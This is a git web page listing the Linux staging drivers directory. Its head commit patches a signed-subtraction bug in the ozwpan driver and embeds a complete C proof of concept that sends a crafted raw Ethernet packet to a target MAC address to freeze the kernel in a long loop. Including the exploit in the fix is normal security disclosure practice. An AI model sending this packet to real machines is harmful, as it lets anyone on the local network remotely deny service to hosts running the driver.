linux-uconsole/drivers/staging
Jason A. Donenfeld 1c9daa06f9 ozwpan: unchecked signed subtraction leads to DoS
commit 9a59029bc2 upstream.

The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed) - 3
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 1,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2015-06-22 16:55:54 -07:00
..
android staging: binder: Fix death notifications 2014-03-06 21:30:11 -08:00
asus_oled
bcm Staging: bcm: info leak in ioctl 2013-11-13 12:05:33 +09:00
ced1401
comedi staging: comedi: cb_pcidas64: fix incorrect AI range code handling 2015-03-18 13:22:34 +01:00
cptm1217
crystalhd
csr staging: single_open() leaks 2013-05-05 00:15:43 -04:00
cxt1e1 staging: single_open() leaks 2013-05-05 00:15:43 -04:00
dgrp Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs 2013-05-01 17:51:54 -07:00
dwc2 staging: dwc2: fix value of dma_mask 2013-05-30 21:14:30 +09:00
echo
et131x
frontier
ft1000 staging: single_open() leaks 2013-05-05 00:15:43 -04:00
fwserial TTY/Serial driver update for 3.10-rc1 2013-04-29 12:16:17 -07:00
gdm72xx USB: remove remaining instances of USB_SUSPEND 2013-05-15 13:44:44 -04:00
goldfish
iio staging:iio:ade7758: Remove "raw" from channel name 2014-11-14 08:47:58 -08:00
imx-drm imx-drm: imx-drm-core: Export imx_drm_encoder_get_mux_id 2013-09-07 22:10:00 -07:00
keucr
line6 staging: line6: Fix unlocked snd_pcm_stop() call 2013-07-25 14:07:42 -07:00
media media: lirc_zilog: Don't use dynamic static allocation 2013-12-04 10:57:32 -08:00
netlogic
nvec Staging driver fixes for 3.10-rc2 2013-05-23 09:27:49 -07:00
octeon
olpc_dcon
ozwpan ozwpan: unchecked signed subtraction leads to DoS 2015-06-22 16:55:54 -07:00
panel staging: panel: fix lcd type 2015-05-13 05:15:42 -07:00
phison
quickstart
rtl8187se staging: rtl8712, rtl8712: avoid lots of build warnings 2015-06-05 23:19:53 -07:00
rtl8192e staging, rtl8192e, LLVMLinux: Remove unused inline prototype 2015-06-05 23:19:53 -07:00
rtl8192u staging: rtl8712, rtl8712: avoid lots of build warnings 2015-06-05 23:19:53 -07:00
rtl8712 staging: rtl8712, rtl8712: avoid lots of build warnings 2015-06-05 23:19:53 -07:00
rts5139 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs 2013-05-01 17:51:54 -07:00
sb105x Staging: sb105x: info leak in mp_get_count() 2013-11-13 12:05:33 +09:00
sbe-2t3e3
sep staging: sep: fix driver build and kconfig 2013-05-16 15:37:49 -07:00
serqt_usb2 staging:serqt_usb2: Fix sparse warning restricted __le16 degrades to integer 2014-05-06 07:55:28 -07:00
silicom Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs 2013-05-01 17:51:54 -07:00
slicoss
sm7xxfb
speakup Staging: speakup: Update __speakup_paste_selection() tty (ab)usage to match vt 2014-09-05 16:28:36 -07:00
ste_rmi4 staging: ste_rmi4: Suppress 'ignoring return value of ‘regulator_enable()' warning 2013-05-16 15:37:49 -07:00
ti-soc-thermal
tidspbridge staging: tidspbridge: check for CONFIG_SND_OMAP_SOC_MCBSP 2014-06-30 20:09:41 -07:00
usbip
vme
vt6655 vt6655: RFbSetPower fix missing rate RATE_12M 2015-04-13 14:02:12 +02:00
vt6656 staging: vt6656: CARDqGetNextTBTT correct uLowNextTBTT 2014-02-06 11:08:14 -08:00
winbond
wlags49_h2 staging: wlags49_h2: fix extern inline functions 2015-06-05 23:19:53 -07:00
wlags49_h25
wlan-ng
xgifb
zcache staging: zcache: fix "zcache=" kernel parameter 2013-08-14 22:59:06 -07:00
zram zram: allow request end to coincide with disksize 2013-08-14 22:59:09 -07:00
zsmalloc staging: zsmalloc: Ensure handle is never 0 on success 2013-12-04 10:55:47 -08:00
Kconfig staging: Swap zram and zsmalloc in Kconfig 2013-05-16 15:38:58 -07:00
Makefile
staging.c